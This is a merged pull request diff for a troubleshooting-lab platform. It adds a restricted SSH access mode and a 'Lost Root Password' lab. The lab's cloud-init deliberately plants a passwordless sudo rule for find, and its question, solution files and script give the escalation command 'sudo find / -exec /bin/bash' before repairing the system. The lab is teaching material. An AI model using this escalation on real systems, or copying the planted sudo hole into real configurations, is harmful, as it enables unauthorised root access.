Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
22 changes: 22 additions & 0 deletions LAB_FORMAT.md
Original file line number Diff line number Diff line change
Expand Up @@ -54,6 +54,28 @@ Recommended checklist before opening a PR with exposed ports:
3. Confirm the browser/Open Port path works after the solution, not just a local shell curl.
4. Keep `exposed_ports` in `lab.yaml` when the UI should show the port; do not remove it just to make CI pass.

### `initial_access` (Optional)

Determines the privilege level of the SSH session presented to the player in the web terminal.

- **`full`** (default): The terminal connects as `root` with full privileges. This is the standard behavior for all existing labs.
- **`restricted`**: The terminal connects as a non-privileged user (`opsuser`). The player must exploit a misconfiguration (e.g., a writable sensitive file, a setuid binary, or an overly permissive sudo rule) to escalate to root.

When `initial_access: restricted` is set, the backend automatically:
1. Creates an `opsuser` user in cloud-init with the same SSH key used for `root`.
2. Connects the web terminal as `opsuser` instead of `root`.
3. Continues to run `verify.sh` and `solution.sh` as `root` internally (backend bypass), so CI pipelines are unaffected.

**Example:**
```yaml
initial_access: restricted
```

**Important notes for restricted labs:**
- The lab's `cloud-init.yaml` must intentionally break root access (e.g., change the root password to a random value, remove `opsuser` from the `sudo` group).
- The lab must provide a realistic escalation path (e.g., `sudo` misconfiguration, writable `/etc/passwd`, or a SUID binary).
- `verify.sh` should assert that the player has successfully restored normal access (e.g., `opsuser` is back in the `sudo` group and `/etc/sudoers` is valid).

## 2. `cloud-init.yaml` (Required)

This file tells the `ubuntu-24.04-base.qcow2` image how to configure itself on first boot. Use this to intentionally break the system.
Expand Down
28 changes: 22 additions & 6 deletions backend/main.py
Original file line number Diff line number Diff line change
Expand Up @@ -105,6 +105,7 @@ class LabInfo(BaseModel):
category: str
difficulty: str
description: dict
initial_access: str = "full"

@app.get("/labs", response_model=List[LabInfo])
def list_labs():
Expand Down Expand Up @@ -137,7 +138,8 @@ def get_lab(lab_id: str):
def launch_lab(lab_id: str):
try:
lab_config = parser.parse_lab(lab_id)

initial_access = lab_config.get("initial_access", "full")

vm_name = lab_config["vm"]["name"]
memory_mb = lab_config["vm"]["memory"]
vcpus = lab_config["vm"]["cpu"]
Expand Down Expand Up @@ -206,8 +208,20 @@ def launch_lab(lab_id: str):
root_user["ssh_authorized_keys"] = []

root_user["ssh_authorized_keys"].append(pub_key)


# Handle restricted initial_access: add the restricted user with SSH key
if initial_access == "restricted":
restricted_user = next((u for u in ud_yaml["users"] if isinstance(u, dict) and u.get("name") == "opsuser"), None)
if not restricted_user:
restricted_user = {"name": "opsuser", "ssh_authorized_keys": [], "shell": "/bin/bash"}
ud_yaml["users"].append(restricted_user)
if "ssh_authorized_keys" not in restricted_user:
restricted_user["ssh_authorized_keys"] = []
restricted_user["ssh_authorized_keys"].append(pub_key)

user_data_content = "#cloud-config\n" + yaml.dump(ud_yaml, width=10000)
usernames = [u.get("name") for u in ud_yaml.get("users", []) if isinstance(u, dict)]
print(f"DEBUG: lab_id={lab_id} initial_access={initial_access} users={usernames}")
except Exception as e:
print(f"Warning: Failed to parse user-data YAML: {e}")

Expand Down Expand Up @@ -307,9 +321,10 @@ async def websocket_terminal(websocket: WebSocket, lab_id: str):
await websocket.accept()
conn = None
restricted_rcfile_path = None

try:
lab_config = parser.parse_lab(lab_id)
initial_access = lab_config.get("initial_access", "full")
vm_name = lab_config["vm"]["name"]

# Poll for IP address (wait for boot)
Expand All @@ -328,14 +343,15 @@ async def websocket_terminal(websocket: WebSocket, lab_id: str):
await websocket.send_text(f"\r\n[Info] Connecting to VM at {vm_ip}...\r\n")

priv_key_path = os.path.join(PROJECT_ROOT, "keys", "id_ed25519")

username = 'opsuser' if initial_access == 'restricted' else 'root'

for _ in range(15): # Try for up to 30 seconds
try:
conn = await asyncssh.connect(vm_ip, username='root', client_keys=[priv_key_path], known_hosts=None)
conn = await asyncssh.connect(vm_ip, username=username, client_keys=[priv_key_path], known_hosts=None)
break
except Exception:
await asyncio.sleep(2)

if not conn:
await websocket.send_text("\r\n[Error] SSH Connection timed out. VM may still be booting.\r\n")
await websocket.close()
Expand Down
14 changes: 14 additions & 0 deletions labs/lost-root-password/cloud-init.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
#cloud-config
packages:
- sudo

runcmd:
- echo "root:$(tr -dc A-Za-z0-9 </dev/urandom | head -c 32)" | chpasswd
- id opsuser || useradd -m -s /bin/bash opsuser
- echo "opsuser:opsuser123" | chpasswd
- gpasswd -d opsuser sudo 2>/dev/null || true
- gpasswd -d opsuser admin 2>/dev/null || true
- usermod -G opsuser opsuser
- 'echo "opsuser ALL=(root) NOPASSWD: /usr/bin/find" >> /etc/sudoers'
- echo "ACCESS_REGAINED" > /root/flag.txt
- chmod 600 /root/flag.txt
25 changes: 25 additions & 0 deletions labs/lost-root-password/lab.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
id: lost-root-password
name: Lost Root Password
category: linux
difficulty: intermediate
provider: libvirt
initial_access: restricted
vm:
name: lost-root-password-lab
image: ubuntu-24.04-base.qcow2
cpu: 1
memory: 1024
disk: 10G
cloud_init: cloud-init.yaml
verify_script: verify.sh
description:
summary: "The root password is lost and sudo access is restricted. Regain root privileges."
story: "A new sysadmin changed the root password and forgot it. You have SSH access as the opsuser user but cannot use sudo. Find a way to escalate your privileges and restore proper access."
objectives:
- Identify the privilege escalation vector
- Gain root access
- Fix the system to restore normal sudo access
tags:
- linux
- security
- privilege-escalation
17 changes: 17 additions & 0 deletions labs/lost-root-password/question.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
### Scenario
A new sysadmin changed the root password on this server and forgot it. You have been given SSH access as the `opsuser` user, but `opsuser` does not have `sudo` privileges. Attempting to run any command with `sudo` results in a permission denial.

You need to regain root access and restore the system to a healthy state.

### Objective
1. Find a way to escalate privileges from the `opsuser` account to root.
2. Restore normal sudo access for `opsuser`.
3. Reset the root password to a known value.

### Useful Commands
- `sudo -l`
- `groups opsuser`
- `sudo find / -exec /bin/bash \;`
- `usermod -aG sudo opsuser`
- `echo "root:PASSWORD" | chpasswd`
- `visudo -c`
37 changes: 37 additions & 0 deletions labs/lost-root-password/solution.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
### The Issue
The `opsuser` user was stripped of all sudo privileges and the root password was changed to an unknown value. However, the server was left with a dangerous sudo misconfiguration: `opsuser` is allowed to run `/usr/bin/find` as root without a password. Since the `find` command supports the `-exec` flag, this can be exploited to spawn an interactive root shell.

### Step-by-Step Fix

1. **Enumerate sudo privileges**:
```bash
sudo -l
```
You will see that `opsuser` may run `/usr/bin/find` as root without a password.

2. **Exploit `find` to get a root shell**:
```bash
sudo find / -exec /bin/bash \;
```
You are now running as root (UID 0).

3. **Restore opsuser to the sudo group**:
```bash
usermod -aG sudo opsuser
```

4. **Clean up the dangerous sudo rule**:
```bash
sed -i "/opsuser ALL=(root) NOPASSWD: \/usr\/bin\/find/d" /etc/sudoers
```

5. **Reset the root password**:
```bash
echo "root:BrokenOps123" | chpasswd
```

6. **Verify**:
```bash
visudo -c
groups opsuser
```
10 changes: 10 additions & 0 deletions labs/lost-root-password/solution.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
#!/bin/bash

# Exploit the sudo find rule to gain a root shell.
# -maxdepth 0 limits the search so the -exec command runs exactly once
# (instead of once for every file on the filesystem).
sudo find /root -maxdepth 0 -exec /bin/bash -c '
usermod -aG sudo opsuser
sed -i "/opsuser ALL=(root) NOPASSWD:.*find/d" /etc/sudoers
echo "root:BrokenOps123" | chpasswd
' \;
22 changes: 22 additions & 0 deletions labs/lost-root-password/verify.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
#!/bin/bash

# 1. Check that opsuser is in the sudo group
if ! groups opsuser | grep -qw "sudo"; then
echo "FAILURE: opsuser is not in the sudo group."
exit 1
fi

# 2. Check that the dangerous NOPASSWD find rule has been removed
if grep -q "opsuser ALL=(root) NOPASSWD: /usr/bin/find" /etc/sudoers; then
echo "FAILURE: The dangerous sudo rule for find is still present."
exit 1
fi

# 3. Check that sudoers syntax is valid
if ! visudo -c > /dev/null 2>&1; then
echo "FAILURE: /etc/sudoers has syntax errors."
exit 1
fi

echo "SUCCESS: Root access has been restored. opsuser can now use sudo."
exit 0
Loading